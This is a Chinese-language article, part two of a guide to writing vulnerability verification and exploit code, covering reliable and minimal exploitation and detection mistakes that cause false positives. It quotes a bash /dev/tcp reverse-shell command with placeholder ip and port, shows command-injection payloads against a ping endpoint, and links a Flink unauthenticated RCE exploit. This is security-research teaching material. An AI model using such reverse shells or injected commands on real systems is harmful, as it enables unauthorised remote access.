漏洞验证和利用代码编写指南( 二 )


直接显示漏洞执行成功获得的结果拥有较高的错误兼容性,不会因为目标不能直接连接互联网、不解析域名、无权限写文件、文件路径可能不唯一等等原因导致的一些判断漏洞存在却利用不成功的情况 。
2.稳定利用优先
要综合考虑到应用版本、操作系统环境、网络等原因,写出兼容各种应用版本并可以稳定复现的漏洞利用代码 。
稳定利用里有两个问题需要额外注意:
一是编写的代码是否考虑到了存在漏洞的应用的不同版本之间的差异 。比如 API 接口变化、路径变化等,可能会导致相当一部分的漏洞利用不成功;
二是执行代码优于执行命令 。比如现在常见的一个示例的就是利用代码执行漏洞进行反弹 shell 的利用,演示用的多是利用执行类似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1 的命令来反弹 shell 。
这里面有个降级利用的概念,即代码执行 却常被当做 命令执行 来使用,但是 代码执行 一般比命令执行可操作性更大,更稳定 。
当只利用漏洞进行执行命令时,这当然没有什么问题,但是当用执行命令来反弹 shell 时,就会出现比较大的问题 。比如,只适合 linux 类系统,而且有些 Docker、busybox 之类的精简环境可能没有 /bin/bash,或者不支持命令行下的反弹 shell,这些都会让漏洞利用不成功 。
这种情况下的正确做法应该是优先执行一段代码,而不是降级之后的执行命令来完成复杂的操作 。
3.最简利用优先
在能达到相同利用效果的情况下,选择最简单的实现路径 。
比如最近的写的一个 flink-unauth-rce:
https://github.com/LandGrey/flink-unauth-rce
漏洞利用,最优雅的方式是根据 flink api 来实现执行命令回显这个功能,但是势必要花点时间去学习和构造代码,不如直接利用程序报错回显,在报错结果中提取出执行命令的结果,省时省力效果良好 。
需避免的错误1. 检测条件不充足
比如,通过 GET 请求路径
/hard-to-guest-path/there/is/vulnerable
然后判断漏洞存在的核心逻辑是状态码 200,并且响应中存在 admin 关键词 。
虽然请求路径比较特殊,但是考虑到有些网站总是返回 200 状态码,并且admin作为关键词过于普通,所以容易产生误报 。
2. 检测关键词放置在发包内容中
比如检测一个可以回显的 GET 型命令执行漏洞,构造了如下的 payload;
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判断漏洞存在的核心逻辑是关键词 79c363c6044c4c58 出现在返回状态码是200的目标 response中 。
这类将判断漏洞存在的关键词放置在 GET 请求的 URL 中,有些网站在请求不存在的路径时,也会返回 200 状态码,而且会将请求的 URL 全部返回到 response 中,这样就产生了误报 。
当然,不止GET请求,POST等请求类型的漏洞验证也会存在此类问题 。比如POST发包:
POST: /api/ping
DATA: host=127.1|echo+79c363c6044c4c58
有些网站在接收到不能处理的请求时,会将 POST 的所有数据包括 HTTP Header 等回显到页面,这时候判断关键词就会产生误报 。
总结规则是死的,人是活的 。为了编写出符合要求的代码,在指定的要求、特殊情况下可以牺牲一些方面的准则特性来强化其他方面的准则特性 。
比如,某些情况下付出 30% 的精力就可以编写出覆盖 90% 应用环境的代码,如果钻牛角尖,要付出 100% 的精力,编写出适合 99% 应用环境的代码,是无法享受漏洞研究到漏洞利用这整个过程的 。
【漏洞验证和利用代码编写指南】作为一名有追求的安全研究人员,不应该浅尝辄止于普通漏洞验证代码的编写,良好的漏洞利用代码的编写才能显示出漏洞的真正危害,体会到漏洞利用代码编写的精髓 。




推荐阅读